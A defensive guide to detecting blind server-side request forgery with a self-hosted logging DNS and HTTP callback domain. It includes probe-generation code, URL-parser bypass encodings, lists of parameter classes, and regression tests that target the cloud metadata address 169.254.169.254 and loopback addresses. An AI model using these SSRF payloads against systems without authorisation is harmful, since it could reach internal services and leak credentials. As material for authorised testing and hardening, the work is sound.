Blind SSRF Detection With Out-of-Band Callbacks

Server-side request forgery is easy to find when the response comes back. The dangerous variant is the one that returns nothing at all: the endpoint accepts a URL, a background job fetches it, and the interface shows the same generic success message whether the fetch reached your internal metadata service or failed entirely. No response, no error, no signal — until someone finds it deliberately.

Out-of-band detection supplies the missing signal. You control a domain, the payload points at it, and a callback proves the server made the request. This guide sets that up: a logging callback domain, hostnames that identify their own probe, coverage across every parameter class that becomes a destination, and a regression test per finding. It is part of the Server-Side Request Forgery (SSRF) Prevention guide within Vulnerability Patterns & Web Mitigation Strategies.

Prerequisites

  • A domain you control, with the ability to run its authoritative name server
  • A staging environment resembling production, and written authorisation to test it
  • An inventory of endpoints accepting anything that could become a destination
  • A place to record findings and convert them into tests

Expected Outcomes

  • A callback domain logging every query and request, with the full subdomain preserved
  • Probes whose hostnames identify the endpoint and parameter that generated them
  • Coverage across URL fields, webhooks, document references and destination-bearing headers
  • A regression test for every confirmed finding

Step 1: Stand Up a Callback Domain That Logs Everything

# dns_logger.py — an authoritative name server that records every query.
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A
import json, time, sys

class LoggingResolver(BaseResolver):
    def resolve(self, request, handler):
        qname = str(request.q.qname).rstrip(".")
        print(json.dumps({
            "ts": time.time(),
            "type": "dns",
            "qname": qname,                       # the whole label carries the correlation id
            "qtype": QTYPE[request.q.qtype],
            "peer": handler.client_address[0],    # the resolver, often revealing the network
        }), flush=True)

        reply = request.reply()
        reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("203.0.113.10"), ttl=1))
        return reply

DNSServer(LoggingResolver(), port=53, address="0.0.0.0").start()
# http_logger.py — anything that follows the resolution lands here.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, time

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "ts": time.time(), "type": "http", "host": self.headers.get("Host"),
            "path": self.path, "ua": self.headers.get("User-Agent"),
            "peer": self.client_address[0],       # frequently the egress address of the target
            "headers": dict(self.headers),        # sometimes carries an internal token
        }), flush=True)
        self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
    do_POST = do_GET

HTTPServer(("0.0.0.0", 80), Handler).serve_forever()

Log both layers. A DNS query with no HTTP request tells you resolution happened but egress was blocked — still a finding, because the code path exists and hostname labels can carry data outward regardless of whether a connection is permitted.


Step 2: Make Each Probe Identify Itself

import uuid, hashlib

CALLBACK_DOMAIN = "oob.example-security.net"

def probe(endpoint: str, parameter: str) -> tuple[str, str]:
    token = uuid.uuid4().hex[:12]
    label = hashlib.sha1(f"{endpoint}|{parameter}".encode()).hexdigest()[:8]
    host  = f"{token}.{label}.oob.example-security.net"
    return host, f"https://{host}/probe"

# Every probe records what generated it, so a callback three minutes later is attributable.
LEDGER = {}
for endpoint, parameters in INVENTORY.items():
    for parameter in parameters:
        host, url = probe(endpoint, parameter)
        LEDGER[host] = {"endpoint": endpoint, "parameter": parameter, "sent_at": time.time()}
        send_request(endpoint, {parameter: url})

The correlation matters more than it seems. Blind findings surface through asynchronous jobs, so a callback can arrive minutes after the request that caused it, long after any request-scoped context is gone. Without a self-identifying hostname you are left with a callback and no idea which of two hundred probes produced it.

The Callback Arrives Long After the Request The probe is submitted and the interface immediately returns a generic success message that reveals nothing. Minutes later a background job processes the queue and resolves the hostname. The name server logs the query, and the correlation encoded in the hostname identifies which endpoint and parameter produced it. t+0s · probe submitted to /api/webhooks with a self-identifying callback URL t+0.2s · interface returns 202 accepted — identical to every other submission, no signal t+3m · a queue worker validates the webhook and resolves the hostname t+3m · the name server logs the query; the label identifies endpoint and parameter the finding is attributable without any request-scoped context surviving

Step 3: Probe Every Parameter That Could Become a Destination

Obvious URL fields are usually already hardened. The findings live in parameters nobody classified as destinations.

PARAMETER_CLASSES = {
    "explicit url":      ["url", "uri", "src", "href", "endpoint", "target", "redirect"],
    "webhook":           ["callback_url", "webhook", "notify_url", "postback"],
    "document ref":      ["stylesheet", "template_url", "xslt", "schema_location"],
    "media import":      ["avatar_url", "image_url", "thumbnail", "og_url", "favicon"],
    "data import":       ["feed_url", "import_from", "source", "manifest"],
    "header-derived":    ["X-Forwarded-Host", "X-Original-URL", "Referer", "Host"],
}

ENCODINGS = [
    "https://{h}/probe",                      # plain
    "https://{h}@internal.example/probe",     # userinfo confusion
    "https://internal.example#@{h}/probe",    # fragment confusion
    "//{h}/probe",                            # scheme-relative
    "https://{h}./probe",                     # trailing dot
]

Header-derived destinations deserve particular attention: a link-preview or document-render service that constructs a URL from a forwarded host header is a destination parameter nobody documented, and it is reachable from any request rather than from a specific form field.

Parameter Classes Ranked by How Often They Are Forgotten Explicitly named URL fields are usually hardened first because they look like destinations. Webhook and import fields follow. Document references inside uploaded files are rarely considered at all. And header-derived destinations are the least documented, because nobody wrote them down as parameters in the first place. Explicit URL fields — usually already hardened they look like destinations, so somebody thought about them Webhook and import fields — sometimes hardened they look like configuration rather than like a fetch Document references inside uploaded files a stylesheet or image reference in a converted document is a destination Header-derived destinations — least documented of all a preview service building a URL from a forwarded host header

Step 4: Convert Every Finding Into a Regression Test

def test_webhook_url_refuses_external_destinations(client, oob_domain):
    """SSRF-2026-003: the webhook validator resolved an arbitrary hostname."""
    r = client.post("/api/webhooks", json={"callback_url": f"https://{oob_domain}/probe"})
    assert r.status_code == 400
    assert callbacks_for(oob_domain, within_seconds=120) == []      # nothing was ever fetched

def test_webhook_url_refuses_internal_ranges(client):
    for dest in ("http://127.0.0.1/", "http://169.254.169.254/latest/meta-data/",
                 "http://[::1]/", "http://2130706433/"):
        assert client.post("/api/webhooks", json={"callback_url": dest}).status_code == 400

Assert on the absence of a callback as well as on the status code. A validator can return 400 after the fetch has already happened — the request is refused, the damage is done — and only the callback log distinguishes the two.

Four Outcomes, Three of Them Findings No lookup at all means the destination was rejected before resolution, which is the correct behaviour. A lookup with no connection means resolution happened and egress was blocked — still a finding, because the code path exists. A completed connection is a confirmed finding. A callback carrying internal headers or tokens is a confirmed finding with disclosure attached. No lookup at all — correct the destination was rejected before anything resolved it; parsing and allowlisting worked Lookup, no connection — still a finding egress happened to be blocked; the code path exists and hostname labels can carry data out Connection made — confirmed finding the server fetched a destination you chose; internal addresses are reachable the same way Callback carries internal headers or a token — confirmed finding, plus disclosure

Verification

# 1. The callback infrastructure logs both layers.
dig +short probe-selftest.oob.example-security.net @ns1.oob.example-security.net
curl -s https://probe-selftest.oob.example-security.net/probe >/dev/null
tail -2 /var/log/oob/*.jsonl | jq -r '"\(.type) \(.qname // .host)"'
# Expect one dns line and one http line, both carrying the label.

# 2. A known-vulnerable staging endpoint produces a callback.
curl -s -X POST https://staging.example.com/api/webhooks \
  -H 'Content-Type: application/json' -H "Cookie: $SESSION" \
  -d "{\"callback_url\":\"https://$(uuidgen | tr -d - | cut -c1-12).probe.oob.example-security.net/x\"}"
sleep 300 && grep -c 'probe.oob' /var/log/oob/dns.jsonl

# 3. After the fix, the same probe produces nothing within the window.

Troubleshooting

Symptom Likely cause Fix
No callbacks from any probe The name server is not authoritative for the domain Check delegation at the registrar and query the authoritative server directly
DNS callbacks but never HTTP Egress filtered, or the code only resolves and never connects Record it as a finding anyway; the code path is what matters
Callbacks arrive with no identifiable label A resolver cached or rewrote the query Use a short time to live and a unique label per probe, never a shared host
Callbacks minutes late and unattributable Asynchronous processing plus no ledger Encode correlation in the hostname; keep the ledger keyed by host
Findings vanish after redeployment Staging rebuilt from a different branch Pin the environment during a test window and record the commit
Probe rejected by input validation Destination field validated for format only Test the format-valid cases too; the flaw is destination choice, not syntax

Common Implementation Mistakes


Frequently Asked Questions

Why does a DNS lookup alone count as a finding?

Because it proves the server took a hostname from your input and resolved it, which means the destination is attacker-influenced. Egress filtering may have blocked the connection today, but the code path exists, egress rules change, and hostname labels can carry small amounts of data outward through the query itself. Treat resolution as the finding and the blocked connection as a compensating control that happened to be in place.

Where do blind SSRF flaws usually hide?

In features nobody classifies as fetching anything: webhook configuration, a document converter following a stylesheet reference, an avatar imported from a URL, a feed importer, a link preview generator, a PDF renderer resolving an image. The recurring shape is a field that accepts a location plus a background job that visits it later — which is also why the callback arrives minutes after the request and why request-scoped correlation does not survive.

Is a public callback service acceptable for this?

For a quick check against a staging system, yes. For anything touching production or customer data, run your own: probe payloads and callback contents routinely carry internal hostnames, headers and occasionally tokens, and sending those to a third party is a disclosure in its own right. A logging name server and a logging web server on a domain you control is an afternoon of work and removes the question entirely.